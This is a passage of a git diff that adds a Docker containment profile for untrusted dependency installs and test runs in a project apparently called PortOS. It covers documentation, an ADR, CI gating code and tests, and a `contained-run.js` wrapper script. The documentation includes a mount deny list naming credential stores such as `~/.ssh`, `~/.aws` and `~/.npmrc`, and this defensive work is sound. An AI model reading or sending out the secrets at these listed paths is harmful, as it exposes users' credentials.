namespace) | Linux | `server/lib/autofixVerifyContainment.js` / `autofixer/sandbox.js#runVerifyCommand` | Autofixer verify command — first choice on Linux |+| SuperCollider runtime | Docker, PortOS-built image, `--network none` | Any host with a local Linux Docker engine | `server/lib/superColliderRuntime.js` / `server/services/superColliderRuntime.js` | Music Designer SuperCollider renders ([SUPERCOLLIDER.md](./SUPERCOLLIDER.md)) |+| **Docker containment** | Docker, digest-pinned official Node image, two-phase network | macOS (Docker Desktop), Linux (Docker Engine) | `server/lib/dockerContainment.js` / `server/services/dockerContainment.js` | Autofixer verify when bubblewrap is unavailable (always on macOS; a repo with `package-lock.json` gets a contained `npm ci` first); `scripts/contained-run.js`; the `dependency-updates` scheduled task |++macOS has no bubblewrap and Seatbelt cannot keep a test runner's detached+descendants from outliving the run, so without Docker containment the autofixer+cannot verify — and therefore never promotes — a fix on a Mac.++## Docker containment++Off by default: **Settings › Features › Docker containment**. Turning it on+verifies the engine and creates one shared bridge network; turning it off+cancels live runs and removes every container, network and volume PortOS made.+A fresh install makes no Docker call until the feature is on, and PortOS never+installs, starts or reconfigures Docker. The design record is+[ADR: Docker containment](decisions/2026-10-21-docker-containment.md).++### Engine selection++`server/services/dockerEngine.js` (shared with SuperCollider):++- **CLI** — `PATH`, then `/usr/local/bin`, `/opt/homebrew/bin` and Docker+ Desktop's bundled `Docker.app/Contents/Resources/bin/docker`, so a missing+ `PATH` link after a fresh Docker Desktop install does not read as "no Docker".+- **Engine** — Docker Desktop's `desktop-linux` context when it answers, then+ the active context (Colima, OrbStack, …), then `default` (native `dockerd` at+ `/var/run/docker.sock`). An operator-set `DOCKER_HOST` is the only candidate.+ Every later command pins the chosen endpoint with `--context`/`--host`.+- **Local only** — `unix://` and `npipe://` endpoints. A `tcp://` or `ssh://`+ context is never asked: it would ship a worktree to another machine.+- **Linux containers** are required; Windows hosts are refused in v1.++Status states: `docker-missing`, `docker-stopped`, `docker-unsupported`,+`docker-remote-refused`, `ready`; a run additionally refuses with+`image-missing` (pull it from the feature card) or `unsupported-node`.++### The boundary++Every run container gets: `--rm --pull never --init`, `--cap-drop ALL`,+`--security-opt no-new-privileges`, a read-only root, a non-root user (the host+uid:gid, or `1000:1000`), CPU/memory/PID limits with swap equal to memory, a+2 GiB file-size limit and no core dumps, a tmpfs `HOME` and `/tmp`, and an+environment built from nothing (`CI=1`, `HOME`, npm cache/log paths, and — in+install only — the proxy variables). No host variable, `PORTOS_API_TOKEN` or+provider key reaches it. The Docker socket is never mounted, and+`assertDockerMountSource` refuses any bind source that is an engine socket,+`/run`, the host home or an ancestor of it, a credential store+(`~/.ssh`, `~/.aws`, `~/.gnupg`, `~/.docker`, `~/.npmrc`, `~/.config/gh`,+`~/.portos`, `~/.claude`, `~/.codex`, …), or the PortOS data directory (only+its disposable worktree roots, `cos/worktrees/` and `autofixer/worktrees/`,+may be mounted).++The worktree is mounted **read-only** at `/src` and copied (without+`node_modules` and `.git`) into a per-worktree work volume at `/work`.+`node_modules`, build output and anything a lifecycle script plants live only+there. A trusted in-container driver then writes a unified diff of every+**tracked** file the step changed to `/out`; the host reads it bounded and+applies only its lockfile sections, and only when asked (`contained-run.js+--apply-patch`). Edits the untrusted step made to anything else — scripts,+tests, hooks — are withheld and listed, so that code never reaches the host+checkout to run uncontained later (`selectApplicablePatch`).++### Two phases++- **install** (`npm ci`, `pnpm install --frozen-lockfile`, lockfile+ regeneration): attached only to a per-run `--internal` Docker network whose+ sole other member is a PortOS egress proxy (`server/lib/dockerEgressProxy.js`,+ run from the same pinned image). The proxy allows HTTPS `CONNECT` to+ `registry.npmjs.org`, `registry.yarnpkg.com`, the registry hosts in the+ repository's `.npmrc` (host names only — auth lines are never read), and any+ hosts the operator added in settings (postinstall binary mirrors). It refuses+ IP literals, other ports, plain-HTTP proxying, and an allowlisted name that+ resolves to a loopback, private, link-local, CGNAT/tailnet or other+ non-public address. The proxy and network exist only for that run.+- **validate** (lint, typecheck, test, build): `--network none` — loopback+ only, no route — over the same work volume, so it reuses the install's+ `node_modules`. The npm cache volume is mounted read-only.++A run is serialized per worktree and bounded by a wall-time limit (20 minutes+for install, 30 for validate, configurable). On timeout or cancel the+container is force-removed and its work volume deleted. A boot, toggle-time and+per-run sweep removes stopped containers, networks and volumes a crash left+behind (a running container belongs to another process's run and is bounded by+its own wall limit); idle work volumes expire after 24 hours. Turning the+feature off removes everything, running or not.++### Images++`DOCKER_CONTAINMENT_NODE_IMAGES` pins `node:22`, `node:24` and+`node:26-bookworm-slim` by multi-arch index digest. The major comes from the+repository's `.nvmrc`, `.node-version` or `engines.node` (24 when none). A+major with no pin is refused rather than tested under another runtime; an+operator can add a digest-pinned override per major in settings. Runs use+`--pull never`; pulling is the explicit **Pull image** action on the feature+card. Refresh a pin with `docker buildx imagetools inspect node:<major>-bookworm-slim`.++### Settings++The machine-local `dockerContainment` slice (`PUT /api/settings`, host-control):++```json+{+ "limits": { "cpus": 2, "memoryMb": 4096, "pids": 1024, "wallTimeoutMinutes": 30 },+ "extraEgressHosts": ["github.com", "objects.githubusercontent.com"],+ "imageOverrides": { "20": "node:20-bookworm-slim@sha256:<64 hex>" }+}+```++### Running a step++```bash+node scripts/contained-run.js --phase install -- npm ci+node scripts/contained-run.js --phase validate -- "npm run lint && npm test"+node scripts/contained-run.js --phase install --apply-patch -- npm install --package-lock-only+```++The script resolves the worktree from the current directory and calls+`POST /api/docker-containment/run` with the same credentials as+`scripts/portos-api.js` (a `PORTOS_API_TOKEN` agent session qualifies; the+route is host-control). It exits with the command's status, `2` when refused+(nothing ran), `124` on timeout. The `dependency-updates` scheduled task uses+it when containment is ready and otherwise says in its summary that validation+ran uncontained.++### Limits of the profile++- The container shares the host kernel (Docker Desktop: the VM's kernel); a+ kernel escape is outside this boundary.+- The tracked-file patch is produced inside the container after untrusted code+ ran, so it is advisory input to `git apply`, never trusted output.+- Private registries that need the host user's `~/.npmrc` credentials do not+ work: no host credential is ever mounted.++### Verification++- Unit tests pin the run argv, mount refusals, environment and proxy policy+ (`server/lib/dockerContainment.test.js`, `server/lib/dockerEgressProxy.test.js`,+ `server/services/dockerEngine.test.js`), and the refusal paths of every+ consumer (`autofixer/sandbox.test.js`, `scripts/contained-run.test.js`,+ `server/routes/dockerContainment.test.js`).+- The live suite runs against a real engine:++ ```bash+ cd server && PORTOS_DOCKER_CONTAINMENT_LIVE=1 npx vitest run services/dockerContainment.live.test.js+ ```++ The `docker-containment-live` CI job runs it on an ubuntu runner (native+ Docker Engine) whenever the diff reaches its import closure. CI has no macOS+ Docker, so Docker Desktop on macOS is verified by running the same suite and+ an autofix verify on a Mac.diff --git a/docs/GITHUB_ACTIONS.md b/docs/GITHUB_ACTIONS.mdindex c437546aed..d0e60ea31c 100644--- a/docs/GITHUB_ACTIONS.md+++ b/docs/GITHUB_ACTIONS.md@@ -651,6 +651,19 @@ The selected work is split across parallel jobs:head tree on every run, so a new dependency is gated without a list edit.Non-PR runs and pull requests into `release` always run it. Pregate reportsit as CI-only.+- **Docker containment live** — runs the opt-in live suite of the Docker+ containment profile (`server/services/dockerContainment.live.test.js`,+ [CONTAINMENT.md](CONTAINMENT.md)) against the ubuntu runner's native Docker+ Engine: non-root user, no host home or Docker socket, no network in the+ validate phase, registry-only egress in the install phase, kill-and-remove on+ timeout, and lifecycle writes kept out of the host worktree. It is part of+ `CI Gate`. On a pull request it runs only when the+ `docker_containment_live` output is true: the diff touches the static import+ closure of the live suite and the server Vitest harness,+ `server/package.json`, `server/package-lock.json` or `ci.yml`+ (`DOCKER_CONTAINMENT_LIVE_ENTRIES`, `DOCKER_CONTAINMENT_LIVE_PATH_RE`).+ Non-PR runs and pull requests into `release` always run it. Pregate reports+ it as CI-only. CI has no macOS Docker, so Docker Desktop is verified manually.- **SuperCollider native containment** — builds `docker/supercollider/`, runs`npm run setup:supercollider` twice and executes the opt-in live suite(`server/services/superColliderRender.live.test.js`) against real Docker ondiff --git a/docs/README.md b/docs/README.mdindex ad9e8e7465..1564fac95d 100644--- a/docs/README.md+++ b/docs/README.md@@ -10,6 +10,7 @@ Index of everything under `docs/`. Start with the [root README](../README.md) fo|-----|--------|| [MOSS_IMAGE.md](./MOSS_IMAGE.md) | Optional pinned MOSS Swift/MLX image runtime, explicit installation, resource needs and Apple Silicon validation || [HTML_COMPOSITIONS.md](./HTML_COMPOSITIONS.md) | Seekable HTML scenes rendered offline to MP4 through hidden managed-browser targets |+| [CONTAINMENT.md](./CONTAINMENT.md) | Every containment profile (bubblewrap, Seatbelt, Docker) and which consumer uses which; the opt-in Docker containment profile for untrusted installs/tests, its engine policy, two-phase network and `contained-run.js` || [SUPERCOLLIDER.md](./SUPERCOLLIDER.md) | Managed SuperCollider Docker runtime: `setup:supercollider`, readiness states, containment policy and platform evidence || [CODE_ANIMATION_PACKAGES.md](./CODE_ANIMATION_PACKAGES.md) | Versioned portable Code Animation source/brief packages, non-executing validation, and contained production execution || [ARCHITECTURE.md](./ARCHITECTURE.md) | System design: React client, Express server, PM2 satellites, PostgreSQL + `data/` files |@@ -91,6 +92,7 @@ Comms & voice: [beeper](./features/beeper.md) · [messages-browser-send](./featu- [CoS agent permission posture](decisions/2026-10-06-cos-agent-permission-posture.md) — why unattended agents keep full-bypass instead of vendor auto-approve modes, and where stricter modes apply.- [Native trash feasibility study](research/2026-10-18-native-trash-feasibility.md) — can PortOS recycle media without the `trash` package: per-platform comparison, executed macOS/Linux proofs, the Windows acceptance checks, and the regression matrix.- [Recycle media through OS facilities PortOS owns](decisions/2026-10-18-native-trash-without-dependency.md) — replace `[email protected]` with `osascript`/JXA, PowerShell + `SHFileOperationW`, and an owned XDG adapter; implementation plan and Windows validation gate.+- [Docker containment for untrusted install and test runs](decisions/2026-10-21-docker-containment.md) — local-only engine policy, per-run egress proxy for installs, `--network none` validation, and no host fallback.- **[plans/](./plans/README.md)** — dated design plans (`YYYY-MM-DD-<slug>.md`), archived on approval before implementation. Historical records, not living docs. See [provider connections and harnesses](./plans/2026-09-06-provider-connections-and-harnesses.md) for stable executable routes, migration and management flows.- **decisions/** — ADRs (`YYYY-MM-DD-<slug>.md`), e.g. the [Postgres-as-primary-datastore decision](./decisions/2026-06-07-postgres-as-primary-datastore.md) and what may cross the federation layer ([user-controlled federation](./decisions/2026-09-19-user-controlled-federation.md), [Privacy Center storage](./decisions/2026-08-08-privacy-records-machine-local.md), [federated visual prompts](./decisions/2026-08-20-federated-visual-prompts.md), [conditioning crosses to an allowlisted peer](./decisions/2026-08-22-federated-media-input-assets.md), [AI usage metrics federate on by default](./decisions/2026-09-01-federated-usage-metrics.md), [Eidoverse guest chat](./decisions/2026-09-05-eidoverse-guest-chat.md), [numeric PortOS quality federation](./decisions/2026-09-10-portos-quality-federation.md), [federated Eidoverse foundations](./decisions/2026-09-18-federated-eidoverse-foundations.md)), why H3 [ships the draft-decode gates without an asset](./decisions/2026-08-30-h3-draft-decoder-asset.md), and why closed-set decisions run on a [local entailment model that abstains](./decisions/2026-09-18-local-jev-decision-service.md).diff --git a/docs/decisions/2026-10-21-docker-containment.md b/docs/decisions/2026-10-21-docker-containment.mdnew file mode 100644index 0000000000..7df8ad5819--- /dev/null+++ b/docs/decisions/2026-10-21-docker-containment.md@@ -0,0 +1,71 @@+# ADR: Docker containment for untrusted install and test runs++**Date:** 2026-10-21+**Status:** Accepted++## Question++Dependency installs, test suites over freshly bumped packages, and autofix+verify commands execute code nobody has reviewed. On Linux the autofixer's+verify runs under bubblewrap; on macOS nothing can contain a forking test+runner, so autofix verification is refused and no fix is promoted there, and+the `dependency-updates` task runs installs with the host user's privileges+everywhere. How should PortOS contain those runs on macOS and Linux alike?++## Decision++Add an opt-in **Docker containment** profile (#12844) that runs each step in a+throwaway Linux container from a digest-pinned official Node image, inheriting+the Docker rules of the [SuperCollider ADR](2026-10-01-supercollider-code-audio.md):+PortOS never installs or reconfigures Docker, untrusted code gets no native+fallback, no capabilities, no Docker socket, a read-only root, CPU/memory/PID/+wall budgets, an explicit environment, and kill-and-remove on timeout or+cancel. The full contract is [CONTAINMENT.md](../CONTAINMENT.md).++1. **Endpoint policy.** Only local engines (`unix://`, `npipe://`). Docker+ Desktop is preferred when it answers, then the active context, then native+ Docker Engine; the run is pinned to the chosen endpoint. A `tcp://` or+ `ssh://` endpoint is refused (`docker-remote-refused`) and never asked —+ it would copy a worktree to another machine.+2. **Two-phase network model.** `validate` has `--network none`. `install` is+ attached only to a per-run `--internal` network shared with a per-run+ egress proxy that allows HTTPS `CONNECT` to an allowlist of registry host+ names and refuses any name resolving to a non-public address. The proxy is+ per run, not a shared daemon, so a repository's `.npmrc` registries widen+ only its own run and nothing listens between runs.+3. **Source handling.** The worktree is read-only; work happens in a Docker+ volume; results return as a bounded tracked-file patch that the trusted+ host side applies only on request.+4. **No fallback.** When the engine, image or feature is not ready, every+ consumer refuses with the resolver's reason (`CONTAINMENT_UNAVAILABLE`).+ The autofixer keeps blocking promotion; `contained-run.js` exits 2; the+ `dependency-updates` prompt says the run was uncontained when it proceeds+ on the host (adoption is opt-in, not enforced).+5. **Off by default, reconciled at toggle time.** The feature has no detector;+ a fresh install makes no Docker call until it is enabled. Turning it on or+ off reconciles the shared network and sweeps orphans without a restart.+ Images are pulled only by an explicit operator action.++## Alternatives considered++- **Seatbelt for the macOS verify.** Rejected: it cannot stop a verifier's+ detached descendants from outliving completion or timeout (the reason the+ macOS probe refuses today).+- **A long-lived shared egress proxy created at toggle time.** Rejected in+ favor of a per-run proxy: a shared one needs a mutable, cross-run allowlist+ (per-repo `.npmrc` hosts) and keeps a listener up between runs.+- **`--network bridge` with host firewall rules.** Rejected: PortOS would have+ to reconfigure the host or Docker, and Docker Desktop's VM networking differs+ from native Docker Engine.+- **Running the whole CoS agent CLI in a container.** Out of scope: this+ decision contains the code agents execute, not the agents.++## Consequences++- macOS autofix verification and promotion work when Docker Desktop is running+ and the feature is on; Linux keeps bubblewrap as its first choice.+- Private registries needing the host user's credentials are not reachable+ from an install container.+- A kernel escape is outside the boundary (shared host or VM kernel).+- The `docker-containment-live` CI job proves the boundary on native Docker+ Engine; Docker Desktop on macOS is verified manually.diff --git a/scripts/ci-dependabot-admission.test.js b/scripts/ci-dependabot-admission.test.jsindex 4b87065c49..da4863320c 100644--- a/scripts/ci-dependabot-admission.test.js+++ b/scripts/ci-dependabot-admission.test.js@@ -42,7 +42,7 @@ describe('Dependabot maintainer release', () => {expect(ci.impact.indexOf('node scripts/ci-dependabot-admission.js')).toBeLessThan(ci.impact.indexOf('node scripts/ci-base-sha.js'));expect(ci.impact).not.toContain('continue-on-error: true');- for (const name of ['prompt-history', 'server', 'client', 'lint', 'database', 'browser', 'windows-server', 'node-minimum', 'linux-containment', 'supercollider-live']) {+ for (const name of ['prompt-history', 'server', 'client', 'lint', 'database', 'browser', 'windows-server', 'node-minimum', 'linux-containment', 'docker-containment-live', 'supercollider-live']) {expect(ci[name]).toContain('needs: impact');}expect(ci.gate).toContain('if: always()');@@ -51,6 +51,10 @@ describe('Dependabot maintainer release', () => {const native = ci['supercollider-live'];expect(native.indexOf('node scripts/ci-dependabot-admission.js')).toBeGreaterThan(-1);expect(native.indexOf('node scripts/ci-dependabot-admission.js')).toBeLessThan(native.indexOf('actions/setup-node@'));+ // The Docker containment live suite installs from the public registry inside its container.+ const contained = ci['docker-containment-live'];+ expect(contained.indexOf('node scripts/ci-dependabot-admission.js')).toBeGreaterThan(-1);+ expect(contained.indexOf('node scripts/ci-dependabot-admission.js')).toBeLessThan(contained.indexOf('actions/setup-node@'));expect(workflow('ci')).not.toContain('pull_request_target:');expect(workflow('ci')).not.toMatch(/(?:contents|actions): write/);expect(ci.gate).toContain('supercollider-live]');diff --git a/scripts/ci-test-plan.js b/scripts/ci-test-plan.jsindex ffb72001b2..a59a270b8a 100644--- a/scripts/ci-test-plan.js+++ b/scripts/ci-test-plan.js@@ -659,6 +659,18 @@ export const SUPERCOLLIDER_LIVE_ENTRIES = [// The recipe directory and the dependency manifests the job installs from are// not modules, so the closure cannot see them.export const SUPERCOLLIDER_LIVE_PATH_RE = /^(?:docker\/supercollider\/|server\/package(?:-lock)?\.json|package(?:-lock)?\.json|\.github\/workflows\/ci\.yml$)/;+// The `docker-containment-live` job runs the opt-in live suite of the Docker+// containment profile (#12844) against the runner's native Docker Engine. The+// suite reaches the profile, the executor, the egress proxy and the engine+// resolver through static imports, so the closure selects the job.+export const DOCKER_CONTAINMENT_LIVE_ENTRIES = [+ 'server/services/dockerContainment.live.test.js',+ 'server/vitest.config.js',+ 'server/vitest.setup.js',+ 'scripts/vitestTempRootSetup.js',+];+// The job installs server dependencies from these before running anything.+export const DOCKER_CONTAINMENT_LIVE_PATH_RE = /^(?:server\/package(?:-lock)?\.json|\.github\/workflows\/ci\.yml)$/;/*** Repository-relative static import closure of `entries` in `cwd`, or null@@ -698,6 +710,9 @@ export const collectLinuxContainmentInputs = (cwd) => staticClosureOf(LINUX_CONT/** Static closure of the SuperCollider live suite, its setup script and their Vitest harness. */export const collectSuperColliderLiveInputs = (cwd) => staticClosureOf(SUPERCOLLIDER_LIVE_ENTRIES, cwd);+/** Static closure of the Docker containment live suite and its Vitest harness. */+export const collectDockerContainmentLiveInputs = (cwd) => staticClosureOf(DOCKER_CONTAINMENT_LIVE_ENTRIES, cwd);+/** True when the diff reaches a gated job's inputs; null inputs fail open to running it. */const touchesJobInputs = (changed, inputs, pattern) => inputs === null|| changed.some((path) => pattern.test(path) || inputs.includes(path));@@ -1000,7 +1015,8 @@ const suiteReasonsFor = (plan, { appRouteOnly = false } = {}) => ({*//*** The CI plan for a diff: the test-suite selection plus whether each- * path-gated job (prompt history, Linux containment, SuperCollider live) runs.+ * path-gated job (prompt history, Linux containment, SuperCollider live,+ * Docker containment live) runs.** `promptHistoryInputs` / `linuxContainmentInputs` / `supercolliderLiveInputs` are the jobs' static* import closures from collectPlanInputs(); null (the default) runs the job.@@ -1008,7 +1024,8 @@ const suiteReasonsFor = (plan, { appRouteOnly = false } = {}) => ({export function buildCiTestPlan(changedFiles, options = {}) {const plan = buildSuitePlan(changedFiles, options);const {- forceFull = false, promptHistoryInputs = null, linuxContainmentInputs = null, supercolliderLiveInputs = null, serverReach = null,+ forceFull = false, promptHistoryInputs = null, linuxContainmentInputs = null, supercolliderLiveInputs = null,+ dockerContainmentLiveInputs = null, serverReach = null,} = options;// Informational: names the changed source behind a large related selection// (#12285). It never changes what runs.@@ -1021,6 +1038,8 @@ export function buildCiTestPlan(changedFiles, options = {}) {|| touchesJobInputs(plan.changedFiles, linuxContainmentInputs, LINUX_CONTAINMENT_PATH_RE),supercolliderLive: forceFull|| touchesJobInputs(plan.changedFiles, supercolliderLiveInputs, SUPERCOLLIDER_LIVE_PATH_RE),+ dockerContainmentLive: forceFull+ || touchesJobInputs(plan.changedFiles, dockerContainmentLiveInputs, DOCKER_CONTAINMENT_LIVE_PATH_RE),};}@@ -1446,6 +1465,7 @@ export function emitGitHubPlan(plan) {prompt_history: plan.promptHistory,linux_containment: plan.linuxContainment,supercollider_live: plan.supercolliderLive,+ docker_containment_live: plan.dockerContainmentLive,windows: plan.windows,windows_mode: plan.windowsMode,windows_files: JSON.stringify(plan.windowsFiles),@@ -1678,10 +1698,11 @@ export function collectPlanInputs({ baseSha, forceFull = false, changedFiles, cwconst promptHistoryInputs = forceFull ? null : collectPromptHistoryInputs(dependencyFiles, cwd);const linuxContainmentInputs = forceFull ? null : collectLinuxContainmentInputs(cwd);const supercolliderLiveInputs = forceFull ? null : collectSuperColliderLiveInputs(cwd);+ const dockerContainmentLiveInputs = forceFull ? null : collectDockerContainmentLiveInputs(cwd);return { changedFiles: collectedChangedFiles, trackedFiles: presentFiles, appDiff, pathContractTests,clientDependencies, dbDependencies, browserDependencies, dependencyChanges, promptHistoryInputs, linuxContainmentInputs, supercolliderLiveInputs,- serverReach };+ dockerContainmentLiveInputs, serverReach };}// ---------------------------------------------------------------------------@@ -1953,7 +1974,7 @@ function main() {}const {changedFiles, trackedFiles, appDiff, pathContractTests, clientDependencies, dbDependencies, browserDependencies,- dependencyChanges, promptHistoryInputs, linuxContainmentInputs, supercolliderLiveInputs, serverReach,+ dependencyChanges, promptHistoryInputs, linuxContainmentInputs, supercolliderLiveInputs, dockerContainmentLiveInputs, serverReach,} = collectPlanInputs({baseSha: base,forceFull,@@ -1972,6 +1993,7 @@ function main() {promptHistoryInputs,linuxContainmentInputs,supercolliderLiveInputs,+ dockerContainmentLiveInputs,serverReach,});// Last, over the finished plan: the attestation only ever removes work.diff --git a/scripts/ci-test-plan.test.js b/scripts/ci-test-plan.test.jsindex 344a64f665..4b8b600852 100644--- a/scripts/ci-test-plan.test.js+++ b/scripts/ci-test-plan.test.js@@ -37,6 +37,7 @@ import {splitByRunner,structuralTestsFor,SUPERCOLLIDER_LIVE_ENTRIES,+ DOCKER_CONTAINMENT_LIVE_ENTRIES,WINDOWS_CONTRACT_TESTS,WINDOWS_RISK_RULES,} from './ci-test-plan.js';@@ -1964,8 +1965,8 @@ describe('path-gated single-purpose jobs', () => {let staticInputs;const realPlan = (changedFiles) => {staticInputs ??= collectPlanInputs({ baseSha: 'HEAD', changedFiles: [], cwd: repo });- const { promptHistoryInputs, linuxContainmentInputs, supercolliderLiveInputs } = staticInputs;- return buildCiTestPlan(changedFiles, { promptHistoryInputs, linuxContainmentInputs, supercolliderLiveInputs });+ const { promptHistoryInputs, linuxContainmentInputs, supercolliderLiveInputs, dockerContainmentLiveInputs } = staticInputs;+ return buildCiTestPlan(changedFiles, { promptHistoryInputs, linuxContainmentInputs, supercolliderLiveInputs, dockerContainmentLiveInputs });};const gates = (plan) => ({promptHistory: plan.promptHistory, linuxContainment: plan.linuxContainment, supercolliderLive: plan.supercolliderLive,@@ -2090,6 +2091,23 @@ describe('path-gated single-purpose jobs', () => {expect(jobs.gate).toMatch(/needs: \[[^\]]*\bsupercollider-live\]/);expect(jobs.gate).toContain('CI_GATE_RESULT_SUPERCOLLIDER_LIVE: ${{ needs.supercollider-live.result }}');expect(existsSync(join(repo, '.github/workflows/supercollider-live.yml'))).toBe(false);++ // The Docker containment live suite (#12844) is planner-gated the same way.+ expect(jobs.impact).toContain('docker_containment_live: ${{ steps.plan.outputs.docker_containment_live }}');+ expect(jobs['docker-containment-live']).toContain("if: needs.impact.outputs.docker_containment_live == 'true'");+ expect(jobs['docker-containment-live']).toContain("PORTOS_DOCKER_CONTAINMENT_LIVE: '1'");+ expect(jobs['docker-containment-live']).toContain(`vitest run ${DOCKER_CONTAINMENT_LIVE_ENTRIES[0].replace('server/', '')}`);+ expect(jobs.gate).toMatch(/needs: \[[^\]]*\bdocker-containment-live\b/);+ expect(jobs.gate).toContain('CI_GATE_RESULT_DOCKER_CONTAINMENT_LIVE: ${{ needs.docker-containment-live.result }}');+ });++ it('selects the Docker containment live job for the profile, executor and engine resolver only', () => {+ for (const file of ['server/lib/dockerContainment.js', 'server/lib/dockerEgressProxy.js', 'server/services/dockerContainment.js', 'server/services/dockerEngine.js', 'server/lib/bufferedSpawn.js']) {+ expect(realPlan([file]).dockerContainmentLive, file).toBe(true);+ }+ expect(realPlan(['client/src/App.jsx']).dockerContainmentLive).toBe(false);+ expect(realPlan(['docs/CONTAINMENT.md']).dockerContainmentLive).toBe(false);+ expect(buildCiTestPlan(['docs/README.md'], { forceFull: true }).dockerContainmentLive).toBe(true);});});diff --git a/scripts/contained-run.js b/scripts/contained-run.jsnew file mode 100644index 0000000000..37e6b0253f--- /dev/null+++ b/scripts/contained-run.js@@ -0,0 +1,174 @@+#!/usr/bin/env node+/**+ * contained-run — run an install or validation step from a worktree inside+ * PortOS's Docker containment profile (#12844, docs/CONTAINMENT.md).+ *+ * node scripts/contained-run.js --phase install -- npm ci+ * node scripts/contained-run.js --phase validate -- "npm run lint && npm test"+ * node scripts/contained-run.js --phase install --apply-patch -- npm install --package-lock-only+ *+ * The step runs in a throwaway Linux container: the worktree is read-only,+ * node_modules live in a Docker volume, there is no host environment or+ * credential, `validate` has no network and `install` reaches only allowlisted+ * registries. Tracked files the step changed come back as a patch;+ * `--apply-patch` applies only its lockfile sections to the worktree with+ * `git apply` (edits to scripts, tests or hooks made by untrusted code are+ * withheld and listed), `--patch-out <file>` saves the whole patch for review.+ *+ * It asks this machine's PortOS server (`POST /api/docker-containment/run`)+ * with the same credentials as `scripts/portos-api.js`. When the feature is+ * off or Docker is not ready the server refuses and this exits 2 — it never+ * runs the command on the host instead.+ *+ * Exit status: the command's own, 2 refused, 124 timed out or cancelled,+ * 1 for anything else. Builtins only.+ */++import { execFileSync } from 'node:child_process';+import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { selectApplicablePatch } from '../server/lib/dockerContainment.js';+import { isDirectlyInvoked } from './lib/directInvocation.js';+import { requestApi, resolveCredentials } from './portos-api.js';++export const USAGE = `Usage:+ contained-run --phase install|validate [--cwd <dir>] [--timeout-minutes <n>] [--apply-patch] [--patch-out <file>] -- <command...>++A single argument after -- is a shell command line; several are quoted and joined.`;++const REQUEST_SLACK_MS = 5 * 60_000;+const MAX_RUN_MINUTES = 240;++/** POSIX single-quote one argv entry. */+const shellQuote = (arg) => (/^[A-Za-z0-9_@%+=:,./-]+$/.test(arg) ? arg : `'${arg.replace(/'/g, `'\\''`)}'`);++export function parseArgs(argv) {+ const split = argv.indexOf('--');+ const flags = split === -1 ? argv : argv.slice(0, split);+ const rest = split === -1 ? [] : argv.slice(split + 1);+ const options = { phase: null, cwd: process.cwd(), timeoutMinutes: null, applyPatch: false, patchOut: null, help: false };+ for (let i = 0; i < flags.length; i += 1) {+ const flag = flags[i];+ const value = () => {+ if (i + 1 >= flags.length) throw new Error(`${flag} needs a value`);+ i += 1;+ return flags[i];+ };+ if (flag === '--help' || flag === '-h') options.help = true;+ else if (flag === '--phase') options.phase = value();+ else if (flag === '--cwd') options.cwd = value();+ else if (flag === '--timeout-minutes') options.timeoutMinutes = Number(value());+ else if (flag === '--apply-patch') options.applyPatch = true;+ else if (flag === '--patch-out') options.patchOut = value();+ else throw new Error(`Unknown option ${flag}`);+ }+ if (options.help) return options;+ if (!['install', 'validate'].includes(options.phase)) throw new Error('--phase must be install or validate');+ if (options.timeoutMinutes !== null && !(Number.isInteger(options.timeoutMinutes) && options.timeoutMinutes >= 1 && options.timeoutMinutes <= MAX_RUN_MINUTES)) {+ throw new Error(`--timeout-minutes must be an integer from 1 to ${MAX_RUN_MINUTES}`);+ }+ if (rest.length === 0) throw new Error('a command after -- is required');+ options.command = rest.length === 1 ? rest[0] : rest.map(shellQuote).join(' ');+ return options;+}++/** The repository root holding `cwd` (the mounted worktree), else `cwd` itself. */+export function resolveWorktree(cwd) {+ try {+ return realpathSync(execFileSync('git', ['-C', cwd, 'rev-parse', '--show-toplevel'], { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }).trim());+ } catch {+ return realpathSync(cwd);+ }+}++/** `git apply` the returned patch in the worktree, checking it first so a bad patch never half-lands. */+export function applyPatch(worktree, patch) {+ const dir = mkdtempSync(join(tmpdir(), 'portos-contained-patch-'));+ const file = join(dir, 'changes.patch');+ try {+ writeFileSync(file, patch.endsWith('\n') ? patch : `${patch}\n`);+ execFileSync('git', ['-C', worktree, 'apply', '--check', file], { stdio: ['ignore', 'ignore', 'pipe'] });+ execFileSync('git', ['-C', worktree, 'apply', file], { stdio: ['ignore', 'ignore', 'pipe'] });+ } finally {+ rmSync(dir, { recursive: true, force: true });+ }+}++export async function main(argv = process.argv.slice(2), env = process.env, deps = {}) {+ const options = parseArgs(argv);+ if (options.help) {+ console.log(USAGE);+ return 0;+ }+ const worktree = (deps.resolveWorktree ?? resolveWorktree)(options.cwd);+ const { url, token } = await (deps.resolveCredentials ?? resolveCredentials)(env);+ const headers = { Accept: 'application/json', 'Content-Type': 'application/json' };+ if (token) headers.Authorization = `Bearer ${token}`;+ const body = JSON.stringify({+ worktree, phase: options.phase, command: options.command,+ ...(options.timeoutMinutes ? { timeoutMinutes: options.timeoutMinutes } : {}),+ });+ const timeoutMs = (options.timeoutMinutes ?? MAX_RUN_MINUTES) * 60_000 + REQUEST_SLACK_MS;+ const { status, text } = await (deps.request ?? requestApi)(`${url}/api/docker-containment/run`, { method: 'POST', headers, body, timeoutMs });+ let result = null;+ try { result = JSON.parse(text); } catch { result = null; }++ if (status === 409 && result?.status === 'refused') {+ console.error(`❌ contained-run refused (${result.state}): ${result.reason}`);+ console.error('Nothing ran. The command was NOT executed on the host.');+ return 2;+ }+ if (status < 200 || status >= 300 || !result) {+ console.error(`❌ contained-run: POST /api/docker-containment/run → ${status}`);+ if (text) console.error(text);+ if (status === 401 && !token) console.error('No credential found. Turn on Settings > Security > Agent API key in PortOS, or set PORTOS_API_TOKEN.');+ return 1;+ }++ if (result.log) process.stdout.write(result.log.endsWith('\n') ? result.log : `${result.log}\n`);+ if (result.logTruncated) console.error('⚠️ contained-run: the log was truncated to its most recent part');+ const where = `${result.phase} phase, Node ${result.nodeMajor}, ${result.engine?.kind ?? 'docker'} engine`;+ if (result.status === 'terminated') {+ console.error(`❌ contained-run ${result.reason === 'timeout' ? 'timed out' : 'was cancelled'} (${where}); the container and its work volume were removed`);+ return 124;+ }+ if (result.status !== 'completed') {+ console.error(`❌ contained-run failed (${where}): ${result.error ?? `exit ${result.exitCode}`}`);+ return 1;+ }++ if (result.patchTruncated) console.error('⚠️ contained-run: the change patch exceeded its size limit and was dropped');+ if (result.patch) {+ if (options.patchOut) {+ writeFileSync(options.patchOut, result.patch);+ console.error(`📝 contained-run: wrote the tracked-file patch to ${options.patchOut}`);+ }+ if (options.applyPatch) {+ 